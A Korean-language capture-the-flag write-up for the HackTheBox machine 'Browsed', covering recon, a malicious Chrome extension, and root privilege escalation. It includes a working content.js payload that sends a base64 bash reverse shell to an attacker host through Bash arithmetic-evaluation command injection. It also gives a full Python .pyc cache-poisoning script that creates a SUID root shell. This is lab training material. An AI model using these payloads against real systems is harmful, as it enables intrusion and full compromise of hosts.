HackTheBox Labs Writeup - Browsed
이 글은 HackTheBox 의 Medium 난이도 머신인 Browsed 에 대한 Writeup이다.

User Flag
nmap 으로 스캐닝해보니 22번 ssh 포트와 80번 http 포트가 열린 것을 확인할 수 있다.
$ nmap -sV -A -T4 -Pn 10.129.10.198
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-29 09:51 EDT
Nmap scan report for 10.129.10.198
Host is up (0.55s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Browsed
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 582.55 ms 10.10.16.1
2 266.40 ms 10.129.10.198
브라우저로 80번 포트에 접속하니 Chrome 확장 프로그램을 업로드하는 웹 애플리케이션이 나타났다. ZIP 파일로 확장 프로그램을 올리면 백엔드 개발자가 직접 설치해서 테스트하고 피드백을 주는 구조인 것 같다.

Upload Extension 버튼을 클릭하면 /upload.php 페이지로 이동된다. ZIP 포맷의 크롬 확장 프로그램을 업로드할 수 있다.

상단의 Samples 버튼을 클릭하면 /samples.html 페이지로 이동한다. 여러 예제 확장 프로그램을 다운로드할 수 있다.

크롬 확장 프로그램의 취약점을 이용해야 할 것으로 보인다. /samples.html 페이지에서 샘플 확장 프로그램 Fontify를 다운로드해서 구조를 살펴봤다.
fontify
├── content.js
├── manifest.json
├── popup.html
├── popup.js
└── style.css
manifest.json 을 확인해보니 content_scripts 에 <all_urls> 가 걸려있다. 개발자가 어떤 페이지를 방문하든 content.js 가 자동 실행된다는 뜻이다.
{
"manifest_version": 3,
"name": "Font Switcher",
"version": "2.0.0",
"description": "Choose a font to apply to all websites!",
"permissions": [
"storage",
"scripting"
],
"action": {
"default_popup": "popup.html",
"default_title": "Choose your font"
},
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"js": [
"content.js"
],
"run_at": "document_idle"
}
]
}
Fontify 샘플을 그대로 업로드하면 대량의 로그를 확인할 수 있다. 로그에 따르면 업로드한 확장 프로그램이 실제로 설치되고 content.js 가 실행되고 있었다. 또한 로그에서 localhost 에 대한 네트워크 요청도 보였는데, 확장 프로그램의 JavaScript 로 내부 서비스에 접근할 수 있다는 뜻이다.

이외에도 browsedinternals.htb 라는 서브도메인에 대한 정보가 있었다. /etc/hosts 에 서브도메인 IP를 추가하고 브라우저로 접근해보니 Gitea 가 돌고 있었고, 공개된 MarkdownPreview 레포지토리에서 localhost:5000 에서 동작하는 Flask 앱의 소스 코드를 확인할 수 있었다.

Flask 앱의 핵심인 routines.sh 파일 데이터는 다음과 같다.
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi
사용자 입력이 routines.sh 의 첫 번째 인자로 그대로 넘어가는데, 셸 스크립트 안을 보니 -eq 로 숫자 비교를 하고 있었다.
if [[ "$1" -eq 0 ]]; then
...
elif [[ "$1" -eq 1 ]]; then
...
fi
Bash 의 -eq 는 비교 전에 산술 평가를 수행한다. 따라서 존재하지 않는 array x 에 대해 접근하는 x[$(whoami)] 같은 값을 넣으면 배열 인덱스 계산 과정에서 $(whoami) 가 실제로 실행된다. 이걸 이용하면 커맨드 인젝션이 가능하다.
공격 체인을 정리하면 이렇다. 악성 확장 프로그램을 업로드하면 개발자 브라우저에서 JavaScript 가 실행되고, 그 JavaScript 가 localhost:5000 의 Flask 앱에 요청을 보내서 routines.sh 의 산술 평가 취약점을 트리거하는 것이다.
content.js 를 다음과 같이 작성했다. 리버스 셸 명령어에 공백이 포함되면 URL 파싱에서 문제가 생기므로, 전체 명령어를 base64 인코딩한 뒤 서버에서 디코딩해서 실행하도록 했다. 공백은 %20 으로 치환했다.
// content.js
const LHOST = "공격자 IP";
const LPORT = 1234;
const FLASK = "http://127.0.0.1:5000/routines/";
// 리버스 셸 커맨드를 base64 인코딩
const revshell = btoa(`bash -c 'bash -i >& /dev/tcp/${LHOST}/${LPORT} 0>&1'`);
// Bash 산술 평가를 트리거하는 페이로드 조립
// 공백은 URL 에서 깨지므로 %20 으로 대체
const payload = `x[$(echo%20${revshell}|base64%20-d|bash)]`;
fetch(FLASK + payload, { mode: "no-cors" });
작성한 확장 프로그램을 ZIP 으로 압축한다.
$ zip -r ../malicious_extension.zip .
로컬 머신에서 리버스 셸을 받을 포트를 리스닝한 뒤, 웹 페이지에서 ZIP 파일을 업로드한다.
$ nc -lvnp 1234
잠시 후 리버스 셸이 수립되어 larry 유저로 접속된다.
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.127] from (UNKNOWN) [10.129.10.198] 36744
bash: cannot set terminal process group (1452): Inappropriate ioctl for device
bash: no job control in this shell
larry 유저 권한으로 User Flag 를 획득했다.
larry@browsed:~/markdownPreview$ cat /home/larry/user.txt
Root Flag
리버스 셸은 불안정하니 먼저 SSH 키를 확보해서 안정적인 세션을 만들었다. larry 의 홈 디렉토리의 SSH 개인키를 로컬 PC로 복사한다.
larry@browsed:~$ cat /home/larry/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
... 중략 ...
-----END OPENSSH PRIVATE KEY-----
복사한 Key 파일에 적절한 권한을 준 후 ssh 접속한다.
$ chmod 600 id_ed25519
$ ssh -i id_ed25519 larry@10.129.10.198
SSH 로 접속한 후 sudo -l 을 확인해봤다.
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
extension_tool.py 를 root 권한으로 실행할 수 있다. 이 스크립트를 열어보니 상단에서 extension_utils 모듈을 import 하고 있었다.
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
...
extension_utils.py 파일 자체는 수정 권한이 없으나 디렉토리 권한을 확인해보니 __pycache__/ 는 아무나 쓸 수 있는 상태였다. 따라서 .pyc 포이즈닝을 시도해볼 수 있다.
Python 은 모듈을 import 할 때 매번 소스를 컴파일하지 않고, __pycache__/ 에 캐싱된 .pyc 를 먼저 확인한다. 이때 캐시가 유효한지 판단하기 위해 원본 파일의 크기와 타임스탬프를 비교하는데, 이 두 값만 맞춰주면 Python 새로운 pyc 파일을 빌드하지 않고 조작된 바이트코드를 그대로 로드한다.
다음과 같은 스크립트를 /tmp 경로에 작성했다. validate_manifest() 함수가 호출될 때 SUID bash 를 /tmp/.rootsh 에 생성하도록 했고, 원본 파일과 크기를 맞추기 위해 # 으로 패딩했다.
import os, py_compile, shutil
src_path = "/opt/extensiontool/extension_utils.py"
tmp_path = "/tmp/ext_utils_fake.py"
pyc_path = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
# 원본 파일 정보 가져오기
info = os.stat(src_path)
# 악성 모듈 작성 - 원본과 같은 함수 시그니처를 유지
code = """import os
def validate_manifest(path):
os.system("cp /bin/bash /tmp/.rootsh && chmod 4755 /tmp/.rootsh")
return {}
def clean_temp_files(arg):
pass
"""
# 원본과 크기를 맞추기 위해 주석으로 패딩
code += "#" * (info.st_size - len(code))
with open(tmp_path, "w") as f:
f.write(code)
# 타임스탬프를 원본과 동일하게 맞춤
os.utime(tmp_path, (info.st_atime, info.st_mtime))
# 컴파일 후 캐시 교체
py_compile.compile(tmp_path, cfile="/tmp/fake.pyc")
if os.path.exists(pyc_path):
os.remove(pyc_path)
shutil.copy2("/tmp/fake.pyc", pyc_path)
print("[*] done")
스크립트를 실행하고 extension_tool.py 를 sudo 로 돌리면 조작된 바이트코드가 로드된다.
larry@browsed:/tmp$ python3 test.py
[*] done
larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
[-] Skipping version bumping
[-] Skipping packaging
SUID bash 가 생성됐으니 -p 옵션으로 실행하면 root 셸을 얻을 수 있다.
larry@browsed:/tmp$ /tmp/.rootsh -p
.rootsh-5.2# id
uid=1000(larry) gid=1000(larry) euid=0(root) groups=1000(larry)
/root/root.txt 파일에서 Root Flag를 획득한다.
.rootsh-5.2# cat /root/root.txt